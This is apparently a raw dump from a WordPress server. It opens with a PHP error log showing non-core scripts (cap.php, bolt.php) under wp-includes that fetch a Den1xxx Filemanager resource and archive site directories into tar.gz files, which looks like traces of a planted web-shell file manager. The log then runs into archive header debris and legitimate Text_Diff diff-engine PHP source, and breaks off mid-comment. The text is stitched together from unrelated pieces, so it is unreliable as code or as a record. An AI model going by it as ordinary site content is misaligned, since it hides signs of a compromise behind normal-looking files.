[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:21 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:36 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:06 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:13:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Renderer/Engine.zip                                                                                 0000644                 00000077134 15217306007 0010260 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
